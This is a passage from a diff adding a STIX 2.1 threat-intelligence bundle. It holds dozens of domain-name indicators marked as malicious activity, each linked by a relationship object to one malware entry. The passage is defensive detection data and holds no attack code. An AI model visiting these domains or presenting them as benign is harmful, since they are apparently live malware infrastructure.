"stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.311383Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--267e66e0-7dbb-460d-a737-31bacb42945b", + "created": "2023-03-29T12:58:44.311977Z", + "modified": "2023-03-29T12:58:44.311977Z", + "relationship_type": "indicates", + "source_ref": "indicator--7042cbeb-62c7-487f-ba1b-dc2c855e95eb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--abfb1140-4881-4efa-b83d-4a0f9309f622", + "created": "2023-03-29T12:58:44.312148Z", + "modified": "2023-03-29T12:58:44.312148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='handinessworried.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.312148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8948f776-9f90-4804-aae2-7bc65520a4c9", + "created": "2023-03-29T12:58:44.312867Z", + "modified": "2023-03-29T12:58:44.312867Z", + "relationship_type": "indicates", + "source_ref": "indicator--abfb1140-4881-4efa-b83d-4a0f9309f622", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--14e7a46a-5190-4b21-8ac5-77539e6c3fe7", + "created": "2023-03-29T12:58:44.313039Z", + "modified": "2023-03-29T12:58:44.313039Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='diplomaoverhung.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.313039Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--545679ce-9641-4fd8-b354-01d66bfd3491", + "created": "2023-03-29T12:58:44.313646Z", + "modified": "2023-03-29T12:58:44.313646Z", + "relationship_type": "indicates", + "source_ref": "indicator--14e7a46a-5190-4b21-8ac5-77539e6c3fe7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a05237c-7769-4535-b4ba-f76995106bf3", + "created": "2023-03-29T12:58:44.313816Z", + "modified": "2023-03-29T12:58:44.313816Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ashiernanus.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.313816Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f117f613-3cc6-4e48-b386-2ed57f581c88", + "created": "2023-03-29T12:58:44.31446Z", + "modified": "2023-03-29T12:58:44.31446Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a05237c-7769-4535-b4ba-f76995106bf3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5485cdc1-4608-415c-8e76-dfdc6c4fe5f6", + "created": "2023-03-29T12:58:44.314632Z", + "modified": "2023-03-29T12:58:44.314632Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='porridgevalue.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.314632Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--76b2079f-dffe-451a-a408-958b3841e720", + "created": "2023-03-29T12:58:44.315242Z", + "modified": "2023-03-29T12:58:44.315242Z", + "relationship_type": "indicates", + "source_ref": "indicator--5485cdc1-4608-415c-8e76-dfdc6c4fe5f6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5a3c30f3-c566-4c44-a787-288bf6b68175", + "created": "2023-03-29T12:58:44.31541Z", + "modified": "2023-03-29T12:58:44.31541Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='switchreviving.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.31541Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--511f8f9d-69de-4ef9-b0c5-0d7ba1f4dfa5", + "created": "2023-03-29T12:58:44.316004Z", + "modified": "2023-03-29T12:58:44.316004Z", + "relationship_type": "indicates", + "source_ref": "indicator--5a3c30f3-c566-4c44-a787-288bf6b68175", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8f524cfd-07b7-4b5d-af6a-0d6c7dc2f584", + "created": "2023-03-29T12:58:44.316173Z", + "modified": "2023-03-29T12:58:44.316173Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='propercar.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.316173Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e35b3227-8c66-47f8-bfee-a52bfff1ddd3", + "created": "2023-03-29T12:58:44.316758Z", + "modified": "2023-03-29T12:58:44.316758Z", + "relationship_type": "indicates", + "source_ref": "indicator--8f524cfd-07b7-4b5d-af6a-0d6c7dc2f584", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cae8dc5b-af58-41a1-86fe-6b40451b99a5", + "created": "2023-03-29T12:58:44.316926Z", + "modified": "2023-03-29T12:58:44.316926Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gainsunfounded.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.316926Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22b5b45d-9ac6-4904-ba58-c584e6d758ff", + "created": "2023-03-29T12:58:44.317518Z", + "modified": "2023-03-29T12:58:44.317518Z", + "relationship_type": "indicates", + "source_ref": "indicator--cae8dc5b-af58-41a1-86fe-6b40451b99a5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--93b480dc-0734-4b6a-bdbf-e3c8866c86ba", + "created": "2023-03-29T12:58:44.317695Z", + "modified": "2023-03-29T12:58:44.317695Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grimyfritter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.317695Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c95a71e1-61e5-4f2b-b9dc-c35ffee84fb7", + "created": "2023-03-29T12:58:44.31829Z", + "modified": "2023-03-29T12:58:44.31829Z", + "relationship_type": "indicates", + "source_ref": "indicator--93b480dc-0734-4b6a-bdbf-e3c8866c86ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5553ae0a-7ba5-4802-ab2b-fa4daf10faea", + "created": "2023-03-29T12:58:44.318457Z", + "modified": "2023-03-29T12:58:44.318457Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hubertsgardens.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.318457Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eaf249e9-f253-489a-883b-de5d77969964", + "created": "2023-03-29T12:58:44.319057Z", + "modified": "2023-03-29T12:58:44.319057Z", + "relationship_type": "indicates", + "source_ref": "indicator--5553ae0a-7ba5-4802-ab2b-fa4daf10faea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1535d441-da3f-40d5-b12e-76a20c663e5e", + "created": "2023-03-29T12:58:44.319226Z", + "modified": "2023-03-29T12:58:44.319226Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onionnavigate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.319226Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14426a3b-1c44-4fef-9671-bad6bb46dccf", + "created": "2023-03-29T12:58:44.319933Z", + "modified": "2023-03-29T12:58:44.319933Z", + "relationship_type": "indicates", + "source_ref": "indicator--1535d441-da3f-40d5-b12e-76a20c663e5e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--41ae1719-5304-4247-8b36-383af2862dd0", + "created": "2023-03-29T12:58:44.320107Z", + "modified": "2023-03-29T12:58:44.320107Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='freewarejoyride.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.320107Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--55b56a71-caaf-479d-bb13-03ef0e021c70", + "created": "2023-03-29T12:58:44.320704Z", + "modified": "2023-03-29T12:58:44.320704Z", + "relationship_type": "indicates", + "source_ref": "indicator--41ae1719-5304-4247-8b36-383af2862dd0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d2307693-b303-43dc-8cd1-742dcab49e23", + "created": "2023-03-29T12:58:44.320872Z", + "modified": "2023-03-29T12:58:44.320872Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skinlesschef.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.320872Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f8bcc457-0ea1-44ba-ab79-2a91a1ead3be", + "created": "2023-03-29T12:58:44.321457Z", + "modified": "2023-03-29T12:58:44.321457Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2307693-b303-43dc-8cd1-742dcab49e23", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0befd869-794e-498f-b877-fcdb71ab9c14", + "created": "2023-03-29T12:58:44.321631Z", + "modified": "2023-03-29T12:58:44.321631Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bundledstraw.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.321631Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01c50e52-8997-4b63-a4e3-29fbfd488fff", + "created": "2023-03-29T12:58:44.322219Z", + "modified": "2023-03-29T12:58:44.322219Z", + "relationship_type": "indicates", + "source_ref": "indicator--0befd869-794e-498f-b877-fcdb71ab9c14", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--74665a58-4472-453a-96cc-5c4c6437319e", + "created": "2023-03-29T12:58:44.32239Z", + "modified": "2023-03-29T12:58:44.32239Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='surprisearmchair.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.32239Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01e2e179-2dc8-428b-92a3-18a196cbfa63", + "created": "2023-03-29T12:58:44.322987Z", + "modified": "2023-03-29T12:58:44.322987Z", + "relationship_type": "indicates", + "source_ref": "indicator--74665a58-4472-453a-96cc-5c4c6437319e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--190c2a1c-5943-4559-a6e6-e3e2a16470b3", + "created": "2023-03-29T12:58:44.323156Z", + "modified": "2023-03-29T12:58:44.323156Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crouchluckless.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.323156Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e7b64ee-b9a4-45b1-baff-88b32f7b2141", + "created": "2023-03-29T12:58:44.323752Z", + "modified": "2023-03-29T12:58:44.323752Z", + "relationship_type": "indicates", + "source_ref": "indicator--190c2a1c-5943-4559-a6e6-e3e2a16470b3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d91c51d5-a2e9-44a5-894c-b51af84461b6", + "created": "2023-03-29T12:58:44.32392Z", + "modified": "2023-03-29T12:58:44.32392Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='registerclerk.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.32392Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d85f5032-402a-4b30-94bb-2af5f809f0db", + "created": "2023-03-29T12:58:44.324516Z", + "modified": "2023-03-29T12:58:44.324516Z", + "relationship_type": "indicates", + "source_ref": "indicator--d91c51d5-a2e9-44a5-894c-b51af84461b6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a2a3be43-3e65-4acb-a827-e38aa1972fcd", + "created": "2023-03-29T12:58:44.324682Z", + "modified": "2023-03-29T12:58:44.324682Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='droppedstar.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.324682Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--79ec6e41-32c7-4826-993e-481e66474ad4", + "created": "2023-03-29T12:58:44.32528Z", + "modified": "2023-03-29T12:58:44.32528Z", + "relationship_type": "indicates", + "source_ref": "indicator--a2a3be43-3e65-4acb-a827-e38aa1972fcd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5fbf5680-589f-4196-92c1-7735184efb20", + "created": "2023-03-29T12:58:44.325447Z", + "modified": "2023-03-29T12:58:44.325447Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rubberradar.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.325447Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e67869b-8cc6-4cd4-96ad-b5a477c1bab3", + "created": "2023-03-29T12:58:44.326043Z", + "modified": "2023-03-29T12:58:44.326043Z", + "relationship_type": "indicates", + "source_ref": "indicator--5fbf5680-589f-4196-92c1-7735184efb20", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d2973057-f5e2-4b66-97bb-2cd761532ab7", + "created": "2023-03-29T12:58:44.326211Z", + "modified": "2023-03-29T12:58:44.326211Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scurvyrepulsive.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.326211Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de956ed5-a43d-4fbc-8271-bc319e5b03b4", + "created": "2023-03-29T12:58:44.326914Z", + "modified": "2023-03-29T12:58:44.326914Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2973057-f5e2-4b66-97bb-2cd761532ab7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b90ba3d-e729-465f-b626-4c93d8fcd593", + "created": "2023-03-29T12:58:44.327086Z", + "modified": "2023-03-29T12:58:44.327086Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='taintedglass.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.327086Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5dc927a-c453-40ae-b125-a6cdb2e8c70e", + "created": "2023-03-29T12:58:44.327677Z", + "modified": "2023-03-29T12:58:44.327677Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b90ba3d-e729-465f-b626-4c93d8fcd593", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ad78544-94d3-41a0-ad27-4802dcabe67e", + "created": "2023-03-29T12:58:44.327844Z", + "modified": "2023-03-29T12:58:44.327844Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='moisteneffects.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.327844Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--18a760df-2236-4676-ab3d-f3f2a66ec8a6", + "created": "2023-03-29T12:58:44.32844Z", + "modified": "2023-03-29T12:58:44.32844Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ad78544-94d3-41a0-ad27-4802dcabe67e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--93ae8d9b-ab0c-4d45-a635-f922e966caf4", + "created": "2023-03-29T12:58:44.328617Z", + "modified": "2023-03-29T12:58:44.328617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='westcareast.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.328617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df51aa96-eff0-4c43-8bba-59b54ee11148", + "created": "2023-03-29T12:58:44.329204Z", + "modified": "2023-03-29T12:58:44.329204Z", + "relationship_type": "indicates", + "source_ref": "indicator--93ae8d9b-ab0c-4d45-a635-f922e966caf4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--443cda87-5e9f-4be1-b6c6-8ece2fc29587", + "created": "2023-03-29T12:58:44.329371Z", + "modified": "2023-03-29T12:58:44.329371Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cadetfence.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.329371Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41e9485b-c1d9-4a85-811c-9088765db584", + "created": "2023-03-29T12:58:44.329975Z", + "modified": "2023-03-29T12:58:44.329975Z", + "relationship_type": "indicates", + "source_ref": "indicator--443cda87-5e9f-4be1-b6c6-8ece2fc29587", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3e6e7a83-5548-4ad5-b3ac-5f87d1c6c459", + "created": "2023-03-29T12:58:44.330144Z", + "modified": "2023-03-29T12:58:44.330144Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cruiserbikes.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.330144Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1cc796f1-fdf7-4100-b7d4-b562deaf2cc8", + "created": "2023-03-29T12:58:44.330735Z", + "modified": "2023-03-29T12:58:44.330735Z", + "relationship_type": "indicates", + "source_ref": "indicator--3e6e7a83-5548-4ad5-b3ac-5f87d1c6c459", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--525e1e4d-f597-4f4f-8b2c-962c0cc49f61", + "created": "2023-03-29T12:58:44.330903Z", + "modified": "2023-03-29T12:58:44.330903Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='availabletidings.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.330903Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83724341-acbb-4dc7-9e1a-1b9b02b08038", + "created": "2023-03-29T12:58:44.331499Z", + "modified": "2023-03-29T12:58:44.331499Z", + "relationship_type": "indicates", + "source_ref": "indicator--525e1e4d-f597-4f4f-8b2c-962c0cc49f61", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0926a316-558f-493d-98c2-c2f341e1d29c", + "created": "2023-03-29T12:58:44.331665Z", + "modified": "2023-03-29T12:58:44.331665Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pikirn-rakyat.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.331665Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3bd5f5db-39b6-4f6b-a34c-0598a14283df", + "created": "2023-03-29T12:58:44.332258Z", + "modified": "2023-03-29T12:58:44.332258Z", + "relationship_type": "indicates", + "source_ref": "indicator--0926a316-558f-493d-98c2-c2f341e1d29c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e3174f3-3850-4eb9-8956-a9033ce40b92", + "created": "2023-03-29T12:58:44.332429Z", + "modified": "2023-03-29T12:58:44.332429Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='copymooing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.332429Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6eb64485-5596-46cb-9090-86b7d4bc1b4a", + "created": "2023-03-29T12:58:44.333015Z", + "modified": "2023-03-29T12:58:44.333015Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e3174f3-3850-4eb9-8956-a9033ce40b92", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--36015aeb-4702-48ea-86a2-a03b8177b89b", + "created": "2023-03-29T12:58:44.333184Z", + "modified": "2023-03-29T12:58:44.333184Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='synopsestrain.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.333184Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8afd94a4-a57d-4599-98ce-e93bd02c6a5a", + "created": "2023-03-29T12:58:44.333896Z", + "modified": "2023-03-29T12:58:44.333896Z", + "relationship_type": "indicates", + "source_ref": "indicator--36015aeb-4702-48ea-86a2-a03b8177b89b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--313ca7d2-4119-4884-a87e-f491c4bbf540", + "created": "2023-03-29T12:58:44.33407Z", + "modified": "2023-03-29T12:58:44.33407Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cavalrysank.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.33407Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a0f20611-4dc2-4ff4-995b-766401038bce", + "created": "2023-03-29T12:58:44.334659Z", + "modified": "2023-03-29T12:58:44.334659Z", + "relationship_type": "indicates", + "source_ref": "indicator--313ca7d2-4119-4884-a87e-f491c4bbf540", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a9434dc9-fbf3-4335-9d53-14a74bad612b", + "created": "2023-03-29T12:58:44.334827Z", + "modified": "2023-03-29T12:58:44.334827Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reapplyspokesman.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.334827Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e39181e-7e2b-43c0-a85d-c371dcc9e07b", + "created": "2023-03-29T12:58:44.335422Z", + "modified": "2023-03-29T12:58:44.335422Z", + "relationship_type": "indicates", + "source_ref": "indicator--a9434dc9-fbf3-4335-9d53-14a74bad612b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e44e4788-a878-4110-a8cd-042177a9e646", + "created": "2023-03-29T12:58:44.335591Z", + "modified": "2023-03-29T12:58:44.335591Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='parttry.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.335591Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e4ee0b5-d502-4935-b534-c77af4d9065f", + "created": "2023-03-29T12:58:44.336172Z", + "modified": "2023-03-29T12:58:44.336172Z", + "relationship_type": "indicates", + "source_ref": "indicator--e44e4788-a878-4110-a8cd-042177a9e646", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12405499-e492-4c01-88f8-a9ff81c8e695", + "created": "2023-03-29T12:58:44.336343Z", + "modified": "2023-03-29T12:58:44.336343Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dictationsmite.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.336343Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c40ef2ef-b425-4b14-ae21-9d59e7e39b70", + "created": "2023-03-29T12:58:44.336938Z", + "modified": "2023-03-29T12:58:44.336938Z", + "relationship_type": "indicates", + "source_ref": "indicator--12405499-e492-4c01-88f8-a9ff81c8e695", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef42729d-6635-493e-9905-a0ed9f38e35f", + "created": "2023-03-29T12:58:44.337105Z", + "modified": "2023-03-29T12:58:44.337105Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gemchunk.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.337105Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cc827fd3-9dc5-4912-a9d2-a286dc439f0f", + "created": "2023-03-29T12:58:44.337692Z", + "modified": "2023-03-29T12:58:44.337692Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef42729d-6635-493e-9905-a0ed9f38e35f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2e229f0d-5db8-4dbb-b46e-210467094157", + "created": "2023-03-29T12:58:44.337861Z", + "modified": "2023-03-29T12:58:44.337861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='depictesquire.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.337861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--66b390bd-bda7-4f73-a1d0-589c9316decb", + "created": "2023-03-29T12:58:44.338452Z", + "modified": "2023-03-29T12:58:44.338452Z", + "relationship_type": "indicates", + "source_ref": "indicator--2e229f0d-5db8-4dbb-b46e-210467094157", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--68339f21-bfee-41d9-9c0b-e11d986b5d73", + "created": "2023-03-29T12:58:44.338619Z", + "modified": "2023-03-29T12:58:44.338619Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hardinesseverglade.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.338619Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45a0753f-0dcb-499e-b7a1-5f940805a474", + "created": "2023-03-29T12:58:44.339215Z", + "modified": "2023-03-29T12:58:44.339215Z", + "relationship_type": "indicates", + "source_ref": "indicator--68339f21-bfee-41d9-9c0b-e11d986b5d73", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1f4371d3-bab4-401a-9671-4feb3af12c0b", + "created": "2023-03-29T12:58:44.339386Z", + "modified": "2023-03-29T12:58:44.339386Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='steeldeal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.339386Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a9df90b0-6e44-4ba0-988b-fd637cc427b4", + "created": "2023-03-29T12:58:44.339973Z", + "modified": "2023-03-29T12:58:44.339973Z", + "relationship_type": "indicates", + "source_ref": "indicator--1f4371d3-bab4-401a-9671-4feb3af12c0b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ea8e9344-f146-4be6-b8c4-19b3e73ebfef", + "created": "2023-03-29T12:58:44.340139Z", + "modified": "2023-03-29T12:58:44.340139Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": 